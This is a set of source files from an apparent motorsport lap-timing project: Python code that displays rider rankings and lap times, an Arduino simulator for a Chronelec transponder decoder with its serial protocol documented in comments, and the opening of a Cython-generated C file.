rider[1]["ridernum"]) + " | "+createTime( rider[1]["bestlap"]) + " | "+ createTime( rider[1]["lastlap"] ) + ' | {:15d}'.format(rider[0]) + ' | {:3d}'.format(rider[1]["lapcount"])+ ' |') except ( ValueError, IndexError ) as e: print ( e ) print (rider) print (Globals.text_normal +Globals.text_black+ '|=====================|==========|================|================|=================|=====|') # *********************************************************************************************************************** # * displayClassementBestLap( ) # * Display the best lap time # * # * Created: 28.01.2018 <NAME> # * # *********************************************************************************************************************** def displayClassementRace(): classement = sorted(dictRace.items(), reverse=True, key=lambda t:t[1]) print ('===============================================================================================================') print ('|{:20s}'.format( "Rider Name") + ' | {:8s}'.format( "Dossard") + " | "+ " Best Lap " + " | "+ " Lap Time " + ' | {:15s}'.format("Transp. Race" ) + ' | {:3s}'.format("Lap")+ ' |'+ ' | '+ ' Race Time '+ ' |') print ('|=====================|==========|================|================|=================|=====|=|================|') pos = 0; for rider in classement: try: pos += 1 rr = rider[1] if rr["updated"]: if pos > rr["lastpos"]: color = Globals.text_inverted + Globals.text_red else: if pos < rr["lastpos"]: color = Globals.text_inverted + Globals.text_green else: color = Globals.text_inverted + Globals.text_blue else: color = Globals.text_normal + Globals.text_black rr["updated"] = False rr["lastpos"] = pos if rr["ended"]: flag="*" else: flag=" " print ( color +'|{:20s}'.format( rr["ridername"]) + ' | {:8d}'.format( rr["ridernum"]) + " | "+createTime( rr["bestlap"]) + " | "+ createTime( rr["lastlap"] ) + ' | {:15d}'.format(rider[0]) + ' | {:3d}'.format(rr["lapcount"])+ ' |{:1s}'.format( flag )+ '| '+ createTime(int( ( rr["time"] - race_info['start_time'] )*4000 ) )+ ' |') except ( ValueError, IndexError ) as e: print ( e ) print (rider) print (Globals.text_normal +Globals.text_black+ '|=====================|==========|================|================|=================|=====|=|================|') theTime = int( race_info['end_time'] * 4000 ) - int( time.time() * 4000 ) if theTime < 0: if race_info['lap'] == 0: print('Race ended') else: if race_info['lap'] == -2: print ( 'Time ended waiting for laps' ) else: print('Time ended, Laps to go: {:2d}'.format( race_info['lap'])) else: print ( 'Time remaining: {:10s}'.format( createTime( theTime ))) # *********************************************************************************************************************** # * displayResultTask( ) # * Main task to display the results # * # * Created: 28.01.2018 <NAME> # * # *********************************************************************************************************************** def displayResultTask(): while True: print( Globals.clear_screen ) print("in display task") if race_flag: print("Display Race classement") displayClassementRace() displayClassementBestLap() time.sleep( refresh_rate) # *********************************************************************************************************************** # * doBestLap( transponder number, ticks in 1/4 of milli-seconds ) # * Build the liste of the best lap time # * # * Created: 28.01.2018 <NAME> # * # *********************************************************************************************************************** def doBestLap( tp, millis ): try: if tp in dictBestLap: tt = dictBestLap[tp] lap = millis - tt["lasttick"] tt["lasttick"] = millis tt["lastlap"] = lap if lap < tt["bestlap"]: tt["bestlap"] = lap tt["textcolor"] = Globals.text_inverted + Globals.text_green if lap > tt["bestlap"]: tt["textcolor"] = Globals.text_inverted + Globals.text_red tt["lapcount"]+=1 tt["updated"] = True else: dictBestLap.setdefault(tp, []) tt = dictBestLap[tp] tt["bestlap"]= max_time # I_bestlap tt["lastlap"] = 0 # I_lastlap if tp in rider_name : tt["ridername"]=rider_name[tp][0] # I_ridername tt["ridernum"]=rider_name[tp][1] # I_ridernum else: tt.append("Unknow") tt.append(0) tt.append(millis) # I_lasttick tt.append( 0 ) # I_lapcount tt.append( 0.999999999 ) # I_totticks tt.append( True ) # I_updated tt.append( Globals.text_inverted + Globals.text_blue ) # I_textcolor except ValueError: print("got an error") # *********************************************************************************************************************** # * doRace( transponder number, ticks in 1/4 of milli-seconds ) # * Build the liste of the best lap time # * # * Created: 28.01.2018 <NAME> # * #R_lapcount = 0 #R_remticks = 1 #R_bestlap = 2 #R_lastlap = 3 #R_time = 4 #R_ridername = 5 #R_ridernum = 6 #R_lasttick = 7 #R_updated = 8 #R_lastpos = 9 #R_ended =10 # *********************************************************************************************************************** def doRace( tp, millis ): lap = 0 raceTime = time.time() try: if not race_info['run']: return if tp in dictRace: tt = dictRace[tp] if not tt["ended"]: lap = millis - tt["lasttick"] tt["lasttick"] = millis tt["lastlap"] = lap tt["remticks"] = max_time - millis tt["time"] = raceTime if lap < tt["bestlap"]: tt["bestlap"] = lap tt["lapcount"]+=1 tt["updated"] = True if race_info['end_time'] < raceTime: # we have finished the time ..... cl = sorted(dictRace.items(), reverse=True, key=lambda t:t[1]) if cl[0][0] == tp: # ok leader passed the line if race_info['lap'] == -2: # start for the last laps... race_info['lap'] = race_lap_full else: race_info['lap'] -= 1 if race_info['lap'] == 0: race_info['ended'] = True tt[R_ended] = True if race_info['ended']: tt["ended"] = True else: dictRace.setdefault(tp, []) tt = dictRace[tp] tt["lapcount"] = 0 # R_lapcount tt["remticks"] = max_time - millis # R_remticks tt["bestlap"] =max_time # R_bestlap tt["lastlap"] = 0 # R_lastlap tt["totticks"] = raceTime # R_totticks if tp in rider_name : tt["ridername"] =rider_name[tp][0] # R_ridername tt["ridernum"] =rider_name[tp][1] # R_ridernum else: tt["lasttick"]="Unknow" tt["ridernum"] = 0 tt["lasttick"] = millis # R_lasttick tt["updated"] = True # R_updated tt["textcolor"]= Globals.text_inverted + Globals.text_blue # R_textcolor tt["ended"]= False # R_ended except ValueError: print("got an error") <file_sep>/simul_TagV3/simul_TagV3.ino /* * Cano Decoder simulator, this will simulate track with rider. */ #include <MsTimer2.h> #include <string.h> #define sline(a) Serial.print( a ) #define turn (1000*30) unsigned char digits[] = "0123456789ABCDEF"; volatile unsigned char message[256]; volatile bool ack = true; volatile int lasttp = 0; volatile bool started = true; int theYear = 2018; int theMounth = 4; int theDay = 1; int theHours = 17; int theMinutes = 00; int theSeconds = 00; int staLevel = 30; int boxLevel = 30; unsigned long transponderList[][3] = { {351957, 0, 0}, {688158, 0, 0}, { 73479, 0, 0}, {572215, 0, 0}, {748687, 0, 0}, {961721, 0, 0}, {564690, 0, 0}, { 513, 0, 0}, { 91953, 0, 0}, { 99608, 0, 0}, {531106, 0, 0}, {110101, 0, 0}, {220202, 0, 0}, {330303, 0, 0}, {440404, 0, 0}, {550505, 0, 0}, {660606, 0, 0}, {770707, 0, 0}, {880808, 0, 0}, {990909, 0, 0}, }; char test_passing[] = "<STA 006141 00:02'57\"541 38 07 0 1569>"; typedef unsigned char ubyte; class passing { public: ubyte startflag, loop_id[3], space1, transponder[6], space2, hours[2], sep1, minutes[2], sep2, secondes[2], sep3, milli[3], space3, power[2], space4, loop_cnt[2], space5, btpower, space6, checksum[4], endflag, zero, pad[20]; passing( void ) { memset( &startflag,' ',&zero-&startflag ); // set all to space startflag = '<'; sep1 = ':'; sep2 = '\''; sep3 = '"'; endflag = '>'; zero = 0; }; passing( char *lid, int tp, int bpwd, int pwd ) { unsigned long _milli; unsigned int hrs,mins,secs; memset( &startflag,0,&zero-&startflag ); // set all to space _milli = transponderList[tp][1]; hrs = (_milli / ( 1000 * 60 * 60 ) ); mins = (_milli / ( 1000 * 60 ) ) % 60; secs = (_milli / ( 1000 ) ) % 60; _milli = _milli % 1000; sprintf( (char * )&startflag, "<%c%c%c %6.6ld %2.2d:%2.2d'%2.2d\"%3.3d %2.2d %2.2ld %1.1d xxxx>", lid[0],lid[1],lid[2],transponderList[tp][0], hrs, mins, secs, (int)_milli, pwd%100, transponderList[tp][2]%100,bpwd%10); doCheckSum(); } void doCheckSum(void) { unsigned int compute = 0; for(int i = 1; i< 33; i++ ) compute += (&startflag)[i]; sprintf((char *) &checksum,"%4.4d>",0x0000FFFF&compute); }; }; void createMsg( int tp, unsigned long time ) { int i; if( ack ) { ack = false; lasttp = tp; transponderList[tp][1] = time; transponderList[tp][2] += 1; passing *p = new passing("STA", lasttp, 3,80); snprintf( &message[0],sizeof( message ),"%s\r\n",p); delete( p ); } else { passing *p = new passing("STA", lasttp, 3,80); snprintf( &message[0],sizeof( message ),"%s\r\n",p); delete( p ); } } /* //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // (c) <NAME>, <EMAIL>, mars 2018 // //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Decoder interface class to be dinamicaly loaded // // main entry point is member function createThread( self, storage, pref,name ) // // Input: // // storage: Dictionary with all the needed infos // // multi_ip multicast ip // // port the assigned port // // pref: The preferences Dict ( all the settings ) // // name: the class name // // // // Return the task pointer // // the class must be decoder, and not the filename ! // // // //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Chronelec Protime Elite Decoder / Chronelec - V3 Protocol // // on the preference must provide: // // device = serial device name ( Unix = /dev/tty....; Win = COMx ) // // baud = baud rate ( default: 115200 ) // // // //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // On transponder read, cell or manual trigger, decoder sends PASSING // message. Host must reply with ACK to get next passing. If no // acknowledge sent, passing is repeated periodically. // // Commands // -------- // // Get Status: // Request running time, noise and level status from decoder // command: ESC + 0x05 // response: [STATUS] // Start: // Start decoder // command: ESC + 0x07 // response: [DEPART] or none if decoder already started // // Set Config: // Update decoder configuration // command: ESC + 0x08 + 0x08 + [CONFIG] + [CRC] + '>' // response: none // // Set IP Config: // Update decoder IP configuration. Note: Decoder must be stopped // before issuing this command (why?) // command: ESC + 0x09 + 0x09 + [IPCONFIG] + [CRC] + '>' // response: XPORT specific (TBC) // // Get Config: // Fetch current decoder configuration & identification // command: ESC + 0x10 // response: [DECODERCONF] // // Acknowledge: // Acknowledge last passing sent by decoder/flag ready for next passing // command: ESC + 0x11 // response: none or [PASSING] // // Repeat: // Repeat first unacknowledged passing, else last acknowledged passing // command: ESC + 0x12 // response: [PASSING] // // Stop: // Stop decoder // command: ESC + 0x13 + '\' // response: [STOP] (even if already stopped) // // Set Time: // Update decoder time of day - also sets running time if decoder // started and config option "Running time to time of decoder" set // command: ESC + 0x48 + [SETTIME] + 't' // response: none // // Set Date: // Update decoder date // command: ESC + 0x0a + 0x0a + [SETDATE] + [CRC] + '>' // response: none // // Set STA Level: // Set detection level on STA channel // command: ESC + 0x1e + [SETLEVEL] // response: none // // Set BOX Level: // Set Detection level on BOX channel // command: ESC + 0x1f + [SETLEVEL] // response: none // // Stat BXX: // Request status on remote decoder with id specified in B // command: ESC + 0x49 + [B] // response: (TBC) // // BXX Level: // Increment all detection levels by 0x10 (Note 2) // command: ESC + 0x4e + 0x2b // response: none // // // Messages // -------- // // PASSING: '<' + ' ' + CHAN + ' ' + REFID + ' ' + PASSTIME + ' ' // + POWER + ' ' + PASSCOUNT + ' ' // + BATTERY + ' ' + CHARSUM + '>' + [NEWLINE] // // CHAN: 'MAN'|'BOX'|'STA'... // REFID: '000000'->'999999' six digits, left zero pad // PASSTIME: 'hh:mm'ss"dcm' left zero pad // POWER: '00'->'99' passing power // PASSCOUNT: '00'->'01' count of times in loop (question?) // BATTERY: '0'|'1'|'2'|'3' 0/high -> 3/low // CHARSUM: '0000'->'8192' sum of bytes from offset 1-32 // // STATUS: '[' + 'hh:mm'ss"' + ' ' + 'NS' + ' ' + 'NB' // + ' ' + 'LS' + ' ' + 'LB' + ']' + [NEWLINE] // hh: hour eg 03 // mm: minute eg 59 // ss: second eg 31 // Noise: NS (STA) and NB (BOX) '00' -> '99' // Levels: LS (STA) and LB (BOX) '00' -> '99' // Note: time reported is running time, and will // be 00:00'00" when decoder is stopped. // // DEPART: 'DEPART_' + [DATESTR] + '__' + [TODSTR] + [NEWLINE] // // STOP: 'STOP_' + [DATESTR] + '__' + [TODSTR] + [NEWLINE] // // DATESTR: 'YYYY-MM-DD' // YYYY: year eg 2012 // MM: month eg 02 // DD: day of month eg 12 // // TODSTR: 'hh:mm:ss' // hh: hour eg 03 // mm: minute eg 59 // ss: second eg 31 // // ESC: 0x1b // NACK: 0x07 // CRC: CRC-16/MCRF4XX on bytes following ESC (Note 1) // B: '1'|'2'|'3'...'7' (0x30 + id) // SETLEVEL: level as two ascii chars eg: 45 => '4' + '5' or 0x34 + 0x35 // SETTIME: h + m + s // eg: 21h03:45 => 0x15 0x03 0x2d // SETDATE: D + M + Y (Y == year - 2000) // eg: 23/05/12 => 0x17 0x05 0x0c // DECODERCONF: '+' + '+' + '+' + [CONFIG] + [LEVELS] + [IPCONFIG] // + [IDENT] + [VERSION] + '>' + [NEWLINE] // // NEWLINE: CR + LF // CR: 0x0d // LF: 0x0a // // LEVELS (2 bytes): // 0 STA level 30 => 0x30 // 1 BOX level " // // IDENT (4 bytes): // 0-3 '0129' => 0x00 + 0x01 + 0x02 + 0x09 // // VERSION (4 bytes): (TBC) // 0 0x13 ? // 1-3 '201' version string? // // CONFIG (27 bytes): // offset option values // 0 Time of day 0x00=>runtime, 0x01=>timeofday // 1 GPS Sync 0x00=>off, 0x01=>on // 2 Time Zone Hour 0x10=>10h, 0x09=>9h // 3 Time Zone Min 0x00=>:00, 0x30=>:30 // 4 Distant 232/485 select 0x00=>232, 0x01=>485 (check) // 5 Distant Fibre Optic 0x00=>no, 0x01=>yes // 6 Print pass on serial 0x00=>no, 0x01=>yes // 7 Detect maximum 0x00=>no, 0x01=>yes // 8 Protocol 0x00=>Cv3,0x01=>AMB,0x02=>Cv2 // 9 Generate sync 0x00=>no, 0x01=>yes // 10 Sync interval min 0x01=>1min, ... , 0x99=>99min // 11 Sync ToD on CELL 0x00=>off, 0x01=>on // 12 Sync Time hours 0x00=>0h, ... , 0x23=>23h (Question Function?) // 13 Sync Time min 0x00=>:00, ... , 0x59=>:59 // 14 Active Loop 0x00=>passive, 0x01=>powered (active) // 15,16 STA Tone 0x12,0x34=>1234Hz 0x00,0x00=>no tone // 17,18 BOX Tone " // 19,20 MAN Tone " // 21,22 CEL Tone " // 23,24 BXX Tone " // 25,26 STA+BOX Levels eg 0x45,0x92 => 45,92 (note 2) // // IPCONFIG (16 bytes): // // 0-3 IP Address, net order eg: 192.168.95.252 => 0xc0 + 0xa8 + 0x5f + 0xfc // 4-7 Netmask, " // 8-11 Gateway, " // 12-15 Remote host, " // // NOTES: // // 1. CRC is computed with the following parameters: // model: crc-16 // poly: 0x1021 // init: 0xffff // reflect-in: yes // reflect-out: yes // xor-out: 0x0000 // // 2. Detection level appears to be stored or manipulated // as byte, but displayed as decimal equivalent of hex string. // When incrementing with command BXX Level, STA is wrapped to // zero when STA level is > 0x99. BOX level will increment // > 0x90 all the way to 0xff as long as STA is < 0xa0. // Side effects of this have not been tested. // */ char ESC = 27; // escape character /* // Command Definition // Status // response: [STATUS] // Start' // response: [DEPART] or none if decoder already started // Update decoder configuration // command: ESC + 0x08 + 0x08 + [CONFIG] + [CRC] + '>' // response: none // Update decoder IP configuration. Note: Decoder must be stopped // before issuing this command (why?) // command: ESC + 0x09 + 0x09 + [IPCONFIG] + [CRC] + '>' // response: XPORT specific (TBC) // Fetch current decoder configuration & identification // command: ESC + 0x10 // response: [DECODERCONF] // // Acknowledge last passing sent by decoder/flag ready for next passing // command: ESC + 0x11 // response: none or [PASSING] // // Repeat first unacknowledged passing, else last acknowledged passing // command: ESC + 0x12 // response: [PASSING] // // Stop decoder // command: ESC + 0x13 + '\' // response: [STOP] (even if already stopped) // // Update decoder time of day - also sets running time if decoder // started and config option "Running time to time of decoder" set // command: ESC + 0x48 + [SETTIME] + 't' // response: none // // Update decoder date // command: ESC + 0x0a + 0x0a + [SETDATE] + [CRC] + '>' // response: none // // Set detection level on STA channel // command: ESC + 0x1e + [SETLEVEL] // response: none // // Set Detection level on BOX channel // command: ESC + 0x1f + [SETLEVEL] // response: none // // Request status on remote decoder with id specified in B // command: ESC + 0x49 + [B] // response: (TBC) // // Increment all detection levels by 0x10 (Note 2) // command: ESC + 0x4e + 0x2b // response: none */ unsigned long oldMillis = 0; void sendLine() { MsTimer2::stop(); if( (millis() - oldMillis) > 1000 ) { int s = ( millis() - oldMillis )/1000; oldMillis = millis(); theSeconds += s; if( theSeconds > 59 ) { theMinutes += theSeconds / 60; theSeconds = theSeconds % 60; if( theMinutes > 59 ) { theHours += theSeconds / 60; theMinutes = theMinutes % 60; } } } MsTimer2::set(turn+millis()&0x00000ff0, sendLine); if( ack ) { unsigned long m = millis(); unsigned int tp = m % (sizeof(transponderList)/ sizeof(unsigned long[3]) ); createMsg( tp , m ); sline( (char *) &message[0] ); } MsTimer2::start(); } void parseTheCmd( char *cmd ) { if( cmd[0] != ESC ) // Check if it is realy a command return; switch( cmd[1] ) { case 0x07: // Start decoder if( !started ) { started = true; { snprintf( (char * )&message[0], sizeof( message ), "DEPART_%4.4d-%2.2d-%2.2d__%2.2d:%2.2d:%2.2d\n", theYear,theMounth,theDay,theHours,theMinutes,theSeconds); sline( (char *) &message[0] ); } } ack = true; break; case 0x13: // Stop decoder if( cmd[2] != 0x5C ) return; started = false; { snprintf( (char * )&message[0], sizeof( message ), "STOP_%4.4d-%2.2d-%2.2d__%2.2d:%2.2d:%2.2d\n", theYear,theMounth,theDay,theHours,theMinutes,theSeconds); sline( (char *) &message[0] ); } break; case 0x12: // Repeat last passing ack = false; createMsg( 0 , 0 ); sline( (char *) &message[0] ); break; case 0x11: // Ack ack = true; break; case 0x05: // Status { if( started ) { snprintf( (char * )&message[0], sizeof( message ), "[%2.2d:%2.2d'%2.2d\" %2.2d %2.2d %2.2d %2.2d]\r\n", theHours,theMinutes,theSeconds,0,50,staLevel,boxLevel); } else { snprintf( (char * )&message[0], sizeof( message ), "[%2.2d:%2.2d'%2.2d\" %2.2d %2.2d %2.2d %2.2d]\r\n", 0,0,0,0,50,staLevel,boxLevel); } sline( (char *) &message[0] ); } break; case 0x48: // SetTime if( cmd[5] != 't' ) return; theHours = cmd[2]; theMinutes = cmd[3]; theSeconds = cmd[4]; break; case 0x0A: // SetDate if( cmd[2] != 0x0A ) return; theDay = cmd[3]; theMounth = cmd[4]; theYear = cmd[5] + 2000; break; case 0x1E: // SetStaLevel staLevel = 0; staLevel = ((cmd[2]-'0')%10)*10 + ((cmd[3]-'0')%10); break; case 0x1F: // SetBoxLevel boxLevel = 0; boxLevel = ((cmd[2]-'0')%10)*10 + ((cmd[3]-'0')%10); break; } } void setup() { Serial.begin( 19200 ); MsTimer2::set(1000, sendLine); oldMillis = millis(); MsTimer2::start(); } void loop() { char Buffer[256]; if( Serial.available() ) { int i = Serial.readBytesUntil('\r',&Buffer[0],sizeof(Buffer) ); for(int j=0;j<i;j++) { if( Buffer[j] == ESC ) parseTheCmd(&Buffer[j]); } } } <file_sep>/cython/Globals.cc /* Generated by Cython 0.25.2 */ #define PY_SSIZE_T_CLEAN #include "Python.h" #ifndef Py_PYTHON_H #error Python headers needed to compile C extensions, please install development version of Python. #elif PY_VERSION_HEX < 0x02060000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03020000) #error Cython requires Python 2.6+ or Python 3.2+. #else #define CYTHON_ABI "0_25_2" #include <stddef.h> #ifndef offsetof #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) #endif #if !defined(WIN32) && !defined(MS_WINDOWS) #ifndef __stdcall #define __stdcall #endif #ifndef __cdecl #define __cdecl #endif #ifndef __fastcall #define __fastcall #endif #endif #ifndef DL_IMPORT #define DL_IMPORT(t) t #endif #ifndef DL_EXPORT #define DL_EXPORT(t) t #endif #ifndef HAVE_LONG_LONG #if PY_VERSION_HEX >= 0x03030000 || (PY_MAJOR_VERSION == 2 && PY_VERSION_HEX >= 0x02070000) #define HAVE_LONG_LONG #endif #endif #ifndef PY_LONG_LONG #define PY_LONG_LONG LONG_LONG #endif #ifndef Py_HUGE_VAL #define Py_HUGE_VAL HUGE_VAL #endif #ifdef PYPY_VERSION #define CYTHON_COMPILING_IN_PYPY 1 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 0 #undef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 0 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #undef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #undef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 1 #undef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 0 #undef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 0 #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0 #elif defined(PYSTON_VERSION) #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 1 #define CYTHON_COMPILING_IN_CPYTHON 0 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0 #else #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 1 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #if PY_MAJOR_VERSION < 3 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #elif !defined(CYTHON_USE_ASYNC_SLOTS) #define CYTHON_USE_ASYNC_SLOTS 1 #endif #if PY_VERSION_HEX < 0x02070000 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #elif !defined(CYTHON_USE_PYLONG_INTERNALS) #define CYTHON_USE_PYLONG_INTERNALS 1 #endif #ifndef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 1 #endif #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #if PY_VERSION_HEX < 0x030300F0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #elif !defined(CYTHON_USE_UNICODE_WRITER) #define CYTHON_USE_UNICODE_WRITER 1 #endif #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #ifndef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 1 #endif #ifndef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 1 #endif #endif #if !defined(CYTHON_FAST_PYCCALL) #define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) #endif #if CYTHON_USE_PYLONG_INTERNALS #include "longintrepr.h" #undef SHIFT #undef BASE #undef MASK #endif #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX < 0x02070600 && !defined(Py_OptimizeFlag) #define Py_OptimizeFlag 0 #endif #define __PYX_BUILD_PY_SSIZE_T "n" #define CYTHON_FORMAT_SSIZE_T "z" #if PY_MAJOR_VERSION < 3 #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyClass_Type #else #define __Pyx_BUILTIN_MODULE_NAME "builtins" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyType_Type #endif #ifndef Py_TPFLAGS_CHECKTYPES #define Py_TPFLAGS_CHECKTYPES 0 #endif #ifndef Py_TPFLAGS_HAVE_INDEX #define Py_TPFLAGS_HAVE_INDEX 0 #endif #ifndef Py_TPFLAGS_HAVE_NEWBUFFER #define Py_TPFLAGS_HAVE_NEWBUFFER 0 #endif #ifndef Py_TPFLAGS_HAVE_FINALIZE #define Py_TPFLAGS_HAVE_FINALIZE 0 #endif #ifndef METH_FASTCALL #define METH_FASTCALL 0x80 typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject **args, Py_ssize_t nargs, PyObject *kwnames); #else #define __Pyx_PyCFunctionFast _PyCFunctionFast #endif #if CYTHON_FAST_PYCCALL #define __Pyx_PyFastCFunction_Check(func)\ ((PyCFunction_Check(func) && (METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST))))) #else #define __Pyx_PyFastCFunction_Check(func) 0 #endif #if PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) #define CYTHON_PEP393_ENABLED 1 #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ 0 : _PyUnicode_Ready((PyObject *)(op))) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) #define __Pyx_PyUnicode_KIND(u) PyUnicode_KIND(u) #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) #else #define CYTHON_PEP393_ENABLED 0 #define PyUnicode_1BYTE_KIND 1 #define PyUnicode_2BYTE_KIND 2 #define PyUnicode_4BYTE_KIND 4 #define __Pyx_PyUnicode_READY(op) (0) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535 : 1114111) #define __Pyx_PyUnicode_KIND(u) (sizeof(Py_UNICODE)) #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) #endif #if CYTHON_COMPILING_IN_PYPY #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) #else #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyUnicode_Contains) #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyByteArray_Check) #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Format) #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) #define PyObject_Malloc(s) PyMem_Malloc(s) #define PyObject_Free(p) PyMem_Free(p) #define PyObject_Realloc(p) PyMem_Realloc(p) #endif #if CYTHON_COMPILING_IN_PYSTON #define __Pyx_PyCode_HasFreeVars(co) PyCode_HasFreeVars(co) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) PyFrame_SetLineNumber(frame, lineno) #else #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) #endif #define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) #define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : 